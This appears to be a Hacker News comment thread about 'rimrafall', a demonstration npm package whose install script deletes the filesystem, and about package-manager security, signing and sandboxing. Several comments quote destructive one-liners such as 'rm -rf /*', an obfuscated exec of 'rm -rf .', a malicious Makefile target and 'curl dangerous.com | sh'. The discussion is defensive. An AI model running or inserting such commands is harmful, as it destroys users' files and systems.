7 ms·
Npm install could be dangerous
- tomphoolery 12y agoit would be cool if there was a way to show which commands npm was running in its scripts.
- jbrooksuk 12y agoOr if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)
- jaxbot 12y agoSee Halting Problem: http://en.wikipedia.org/wiki/Halting_problem http://en.wikipedia.org/wiki/Halting_problem ELI5: It is proven to be impossible to tell exactly what a program is going to do without executing it.
- jackweirdy 12y agoThe Halting Problem says it’s impossible to tell whether a program will naturally finish what it’s going to do without doing it. You can obviously tell what a trivial program will do by looking at it.
- lukeschlather 12y agoFor systems like rubygems and npm, a build tool that installs the gems with sudo on a clean system and flags obvious issues would be a good thing. (If the halting problem is a problem, try executing it in a sandbox.)
- thinkmoore 12y agoWhile that may be true for an unrestricted language, it doesn't need to be true of the programs we design. There's no reason that an installer needs to be written in a completely unrestricted way. NPM could use a DSL which would make it possible to review what an installer is going to do. This is an idea I (with some collaborators) have explored in a more general way for secure shell scripting: shill-lang.org.
- quarterto 12y agoHow would it catch something like cp /bin/rm ponies ; ./ponies -rf /
- aioprisan 12y agoor you can create a ponies alias, even more harmless-looking
- icebraining 12y agoThe same way checkinstall detects which files have been installed - it overrides the relevant syscalls when running the program/script: http://asic-linux.com.mx/~izto/checkinstall/installwatch.html http://asic-linux.com.mx/~izto/checkinstall/installwatch.htm... Of course, not everything is as obvious to detect as deleting files :)
- acveilleux 12y agoWell, checkinstall acts at the dynamic linking level. If you use ASM to call the syscall directly (or more generally, a statically linked binary) then checkinstall will not even see it (strace/DTrace/ktrace would.)
- akerl_ 12y agoThe problem is that identifying a dangerous command via a blacklist ends up being pretty difficult. This is why VMs and chroots and the like end up being so useful: the best way to make sure a command only accesses what it should is usually to give it specific explicit access to the resources it should have, rather than blacklisting what it can/cannot run.
- tkone 12y ago`--verbose`
- detaro 12y agoSomehow I feel like using something that just simulates rm -rf /* would have brought the point across just as well and a bit safer...
- txangel 12y agoBut not as fun
- jscheel 12y agoAgreed, this is irresponsible.
- yourad_io 12y agoThere's warnings even in the description of the package: "name": "rimrafall", "version": "1.0.0", "description": "rm -rf /* # DO NOT INSTALL THIS", How would you accidentally rm rf yourself with this? A github issue "should" have sufficed, but it often doesn't. A practical demonstration is powerful enough to trigger immediate action.
- tenderlove 12y agoIt's not just Npm, RubyGems has essentially the same issue. I think the real lesson is "be careful what you install".
- sigzero 12y agoRust/Cargo, homebrew, probably a host of others.
- colechristensen 12y agohomebrew is at least curated and every time you update you see several packages removed
- byroot 12y agoWell, to rubygems's credit they know post install scripts are a bad idea and they don't support it. The only way to do that in a gem is a hack based on extconf.rb (the original intent of this file being to compile native extensions). But yes ultimately you are right.
- kungfooguru 12y agoBut do they need to have the issue? Why allow running arbitrary commands during install? To me it is less about someone purposely including malicious code (since yes, that could be in the project itself not just the install) but that having this willy-nilly form of package managing opens up people to mistakes moving files around that do harm on accident. And it gets even worse if the package is able to be added to a repo, like npmjs.org, and not have to be accepted after being reviewed.
- mmgutz 12y agoThere's not much difference between running a command on install and using an open source library. It's just as easy to to hide `exec("r" + "m" + " -r" + "f" + " .")` in source.
- tootie 12y agoI could just as easily embed something like that in any code on any open source project in any language as part of the installer or the main code base.
- crazydoggers 12y agoBingo... pretty trivial to stick an `rm -rf /*` shell call somewhere in your code. Not sure what difference it makes whether it's in a package manager file, or the code. Lesson... read the code before running it. Title of the post should be "Running code you haven't read can be dangerous"
- schoen 12y agoA lot of people using package managers, though, might think that someone else has read the code that's about to be installed (so they don't have to read it before installing it). I've installed five or six things for development work using pip recently and I would have been shocked if they were malicious (or if I had to read thousands of lines of Python to make sure they weren't malicious).
- sprkyco 12y agoIt is interesting the contrast in cultures between developers and "hackers" it was not uncommon to hear about script kiddies picking up code and realizing later that a rm rf line was contained in the file. The common reaction to a scenario like that would be well the script kid got what he deserved. However, there is a fringe within that group that is more interested in testing these thing in VMs (so the damage would be minimal in that case). However when a security issue is brought to light like this and the only difference is the intentions of the user the arguments are so completely different. Script Kid downloads rm rf script and runs HAHA! Javascript Developer downloads package and runs blindly "well who let that happen and how do we stop it from happening again" hopefully some HN reader can respond to this to succinctly convey the philosophical mechanism going on here as I cannot quite place it.
- 12y ago
- moe 12y agoThis applies to pretty much every pkg manager ever created. That's why it's important to have end-to-end package signing with a reasonable UI, so people can choose to selectively trust the sources they need and get alerted before new dependencies get pulled in. Sadly I don't know of any pkg manager that implements this correctly.
- justinsb 12y agoI find the apt package model to be very good (add trusted keys & repositories explicitly). What do you see as the shortcomings of apt compared to your ideal?
- raesene5 12y agoI'm not OP, but my opinion would be that APT does do some things better than npm etc but there's still some potential problems. Probably one of the most obvious is that access to the repos is over unencrypted HTTP connections which opens the process up to tampering (depending on the attacker) for example injecting an older version of a package with a known security issue.
- vinilios 12y agoI guess its actually the package distribution that makes a difference, an apt package such as rimrafall won't ever reach an official debian repository. So in the context of adversary package code execution the weak spot is actually the npm registry policy and not npm packaging it self.
- ckuehl 12y ago> for example injecting an older version of a package with a known security issue There's a limited window during which an attack like this will work. If you look at one of the Release files [1], you'll notice the pseudo-header: Valid-Until: Wed, 04 Feb 2015 16:41:23 UTC After this date passes, aptitude update will fail, warning you that your sources are out of date, with a message like: E: Release file for http://mirrors/debian/dists/wheezy-updates/Release is expired (invalid since 1h 24min 32s). Updates for this repository will not be applied. Of course, the Release file is signed, so you can't just forge that pseudo-header (or change any of the packages in the release). You could also choose one of the mirrors that supports HTTPS, like mirrors.kernel.org or mirrors.ocf.berkeley.edu (both good for Bay Area folks). (Granted, the window is probably larger than we'd like, though you could write a script to check that if you wanted. Something like [2] would work.) [1] http://mirrors.ocf.berkeley.edu/debian-security/dists/wheezy/updates/Release http://mirrors.ocf.berkeley.edu/debian-security/dists/wheezy... [2] https://github.com/ocf/puppet/blob/master/modules/ocf_mirrors/files/project/debian/health https://github.com/ocf/puppet/blob/master/modules/ocf_mirror...
- rooodini 12y ago> […] as dangerous as `curl dangerous.com | sh`. dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is probably fine.
- billyhoffman 12y agoI often wonder about the results of people using functional hostnames in their examples. Most PoC exploit code use "target.com" as a place holder which makes sense, but hilariously is also the hostname for US retailer Target...
- glittershark 12y agoThis is exactly the reason example.com exists
- xenophonf 12y agoThe same goes for TEST-NET (192.0.2.0/24), TEST-NET-2 (198.51.100.0/24), TEST-NET-3 (203.0.113.0/24), MCAST-TEST-NET (233.252.0.0/24), and the IPv6 documentation-only prefix (2001:db8::/32).
- billyhoffman 12y agoYep. RFC2606 It is what they should use. And if you need to specify 2 hosts, you can use example.net and .org as well. Unfortunately, the example domains don't convey context very well, so we see things like target.com, victim.com, etc
- varikin 12y agoThis can be corrected by target.example.com and victim.example.com. Conveys the context while remaining safe as an example.
- pimlottc 12y agoThat generally works, although in some cases it makes a difference whether two hosts are on the same tld; at the very least, it implies a connection between the two that may not always make sense (why is aggressor.example.com attacking victim.example.com?).
- zobzu 12y agoawareness for this is always good many now just have scripts doing curl blah | sudo and expecting the blah url will always serve the content they expect. signed versions seems to be the current best way to not have problems, even thus its not perfect. And of course, most things like npm either dont support this or dont support it well, or nobody cares about it
- deleted 12y ago[deleted]
- tkone 12y agoThe good part about npm is that if you run it as `sudo` it will de-authenticate when it's running any script in it's package files. So at least those won't be run with sudo permission.
- dhruvbird 12y agoCan I do the same with Makefiles?
- Figs 12y agoIt's possible to write malicious Makefiles that do things like: install: rm -rf /* If you just `git clone <evil-repo> . && make` or `git clone <evil-repo> . && sudo make install` then sure, you'll be burned too. You should always check what a build system is going to do before running it. Most people would expect that packages from a package manager have already been checked by someone who knows what they're doing before being made available to the public though (like Debian). This is apparently not the case for npm.
- serve_yay 12y agoComputing could be dangerous.
- illumen 12y agonpmjs still contains the package: https://www.npmjs.com/search?q=rimrafall https://www.npmjs.com/search?q=rimrafall https://www.npmjs.com/package/rimrafall https://www.npmjs.com/package/rimrafall '0 downloads in the last month' There is no 'report package' button. The support link goes to a 'we are hiring' contact form. Report bad packages as security issues? https://www.npmjs.com/security https://www.npmjs.com/security Package signing. Review process. Scanning tools for dangerous packages. As a user, don't trust anything and isolate containers and jails. Ban bad actors. Charge for a curated package index. Lots of other plugin stores do better than npm.
- raesene5 12y agothat's interesting. Any pointers to package stores that do a better job on security? I'm researching the area a bit at the moment and I've not seen a lot of good practice out there, so would be interesting to have some good examples to hold up.
- thinkmoore 12y agoWe haven't developed far enough for a package store at this point, but this is one of the use cases we're hoping to explore as part of our capability-based shell scripting language: shill-lang.org.
- raesene5 12y agocool. If you're looking for thoughts about threat models and ways to do it http://theupdateframework.com/index.html http://theupdateframework.com/index.html seems to have some good info.
- nailer 12y agoFedora and RHEL have had mandatory signing since before either existed (back when it was RHL). Debian has had what we'd call 'EV' level security these days for about 15 years - people bringing their passports in and reading out their GPG public keys at LUGs.
- deleted 12y ago
- raesene5 12y agoThis is a problem with most/all lib installers. They tend to have hooks to allow post-install actions and those hooks tend to be able to run OS commands, with the privileges of the installing user. Of course what's extra worrying is it's not just the libs you directly install, but all their dependencies which get to carry out these actions. So for example when you install rails, it will install quite a large number of subsidiary gems. Then when you add in the fact that the credentials that control dev access to push to places like rubygems and npm are just static username/password combos (which sometimes get stored in plain text in a dot file in the developers home dir) and that there's no common use of digital signing for issued libs (in some cases the installers don't even support it).
- tete 12y agoWell, even if it wasn't a post/pre install, even a node library can fork that exact command, upload your home directory, etc. That's actually the reason it isn't just dangerous if run as root. Many people have huge amounts of sensitive information and data with read and write access. A library could of course also fetch even more data. One could create an npm based botnet.
- endergen 12y agoAny package manager, especially one with fuzzy matching is extremely dangerous. Every time you do an install you are often pulling hundreds of modules from many many places. If any one of the codebases of a module were compromised even by a sneaky contributor, you could inject arbitrary code into any companies codebase/runtime. Until object capability type systems become more popular, this will always be an issue. Unless you hand audit everything. Good luck being productive doing that, if you even have the skills or team members able to audit code.
- ffn 12y agoJust another reason to install nodejs with a node versioning machine like nvm or n... or to chown your /usr dir so you don't have to run sudo every time you want to npm install. Since you need super user privileges to accidentally remove your system on most linux distros, it really helps if you don't form the habit of sudo npm installing everything.
- nailer 12y agoI use n, but this would still try and delete everything it could - n doesn't chroot / contain/ zone / docker / rocket anything AFAIK.
- sehr 12y agoFunnily enough https://github.com/tj/n/issues/86 https://github.com/tj/n/issues/86
- chairfield 12y agoWhich will unfortunately prevent yourself from running sudo in the future, at least on Ubuntu. /usr/bin/sudo must be owned by uid 0.
- attilagyorffy 12y agoThis is exactly why i think modern kernel level security layers, such as FreeBSD jails (or Docker/LXC) were born. Provided your app runs within a jail, it wouldn't matter much anymore: > Once inside the jail, a process is not permitted to escape outside of this subtree You could also develop within isolation, therefore your development env would be safer and even similar to a production environment. Needless to say, that has additional benefits.
- mahouse 12y agoI always develop inside a virtual machine, with a shared folder in between so I can write code on the host, but everything runs in the guest.
- falcolas 12y agoI have found out the hard way that a `rm -rf /*` will delete the contents of a `/vagrant/` file... Huzzah for git.
- attilagyorffy 12y agoThat's also a good solution I think. One of the main advantages of using containers though is real portability. This means in theory you could just push your container in development into production without too much hassle and making administrators nervous :) That's not the same level of portability a full VM would give you. Admittedly this is more of a discussion about containers and security than npm itself but I'm interested in discovering the options out there. I may attempt to move all my stuff to containers for a bit and write about my findings.
- samspot 12y agohttps://github.com/joaojeronimo/rimrafall/issues/2 https://github.com/joaojeronimo/rimrafall/issues/2 hehehe
- joaojeronimo 12y agoIt works with the bash shell that comes with git for windows
- talles 12y ago> can be as dangerous as curl dangerous.com | sh What's dangerous.com?
- wging 12y agoAny site that serves up content that will be interpreted by `sh`. Meaning, what happens if someone decides they want you to lose your home directory? They serve up the content "rm -rf ~". That doesn't even require privilege escalation, but it might ruin your day.
- talles 12y agoLet me rephrase: Is dangerous.com a website with fame for such trick or it's just a name example?
- joelwilliamson 12y agoIt's a name example.
- runj__ 12y agoMore of a joke but: npm install virus.exe Perfect for the #scalenpm tshirts https://github.com/peny/virus.exe https://github.com/peny/virus.exe
- detaro 12y agoSlight OT: does anyone know of any hacking/malware campaigns that were specifically aimed at developers (but not against a specific company)? Normal trojans sometimes steal game keys, I could imagine searching the disk for AWS keys might be profitable, too?
- jfroma 12y agoIf you run npm with root, npm will run scripts with the user "nobody" by default. This means that npm doesn't run scripts as root even if you run "npm install" with root. You can set another user instead of nobody with the "user" option and you can disable switching UID/GID using the "unsafe-perm" option but DO NOT DO THIS. More information here: https://docs.npmjs.com/misc/config https://docs.npmjs.com/misc/config edit: added more details.
- XorNot 12y agoSo this doesn't strike me as an npm issue but something more fundamental: there is no easy way on any platform to define a set of rules for processes I invoke via the command line. Like, it would be really really nice if I could wrap npm so it can only write to $HOME/.npm, /tmp and the current working directory - but I know of no system which will currently let me do that suitably dynamically.
- eyko 12y agoUnix user permissions take care of that.
- namuol 12y agoKinda. It would be nicer to limit permissions on a per-"application" level, requiring one-time explicit grants from the user, kinda like how a lot of platforms already do it (web browsers, Android APK, etc).
- eyko 12y ago> It would be nicer to limit permissions on a per-"application" level, requiring one-time explicit grants from the user Most services run under their own username/group for exactly this reason. A user should only be able to obliterate their `$HOME` folder and nothing else, and if you run npm as a certain user, you can restrict that even further by setting the right permissions. If you still need further protection from accidental deletions, it's probably a good idea to use a filesystem with snapshot support like ZFS or BTRFS. Very few programs should be run as root, and developers should know this. Random scripts pulled from the internet are not in that list. If you absolutely need to be logged in as root, then it's probably best you run npm as a different user (runuser -l username -c command). I cannot imagine any reason why you would need to run `npm install` as root. Global packages? Perhaps users should chmod their global npm modules folder to allow installing as an unprivileged user, or at least as the npm user, and then run npm as that user. My global npm packages folder is owned by the npm user/group and if I need to install a global npm package, i usually run it as `runuser -l npm -c npm install -g ...` (or sudo -u npm on osx). It's not an extreme precaution and it's not even a hassle, and while I understand it's not the default, it's also not true that by default npm install can write or delete files outside of your home folder (unless run as root) I'm not sure the title of this should be "npm install could be dangerous" more than "running scripts as root could be very dangerous", which is a no-brainer. The rule of thumb for users/admins in unix-like systems is to keep permissions as strict as possible.
- mofle 12y agoThere are some things you can do to make `rm` safer which would prevent this from working: https://github.com/sindresorhus/guides/blob/master/how-not-to-rm-yourself.md#safeguard-rm https://github.com/sindresorhus/guides/blob/master/how-not-t... Though the real fix is doing development in a sandboxed container.
- scljstcwombat 12y agoIt's always been amateur hour over there. The 'official' install was `curl http://npmjs.org/install.sh http://npmjs.org/install.sh | sh`[1], package checksums aren't uniformly checked, the list goes on. But don't worry guys, they had a security audit[2]. [1] http://web.archive.org/web/20101228041356/http://npmjs.org/ http://web.archive.org/web/20101228041356/http://npmjs.org/ [2] http://blog.npmjs.org/post/80277229932/newly-paranoid-maintainers http://blog.npmjs.org/post/80277229932/newly-paranoid-mainta...
- krisdol 12y agoWell, under no circumstance should you run npm, nvm, rvm, rbenv, pip, etc as root.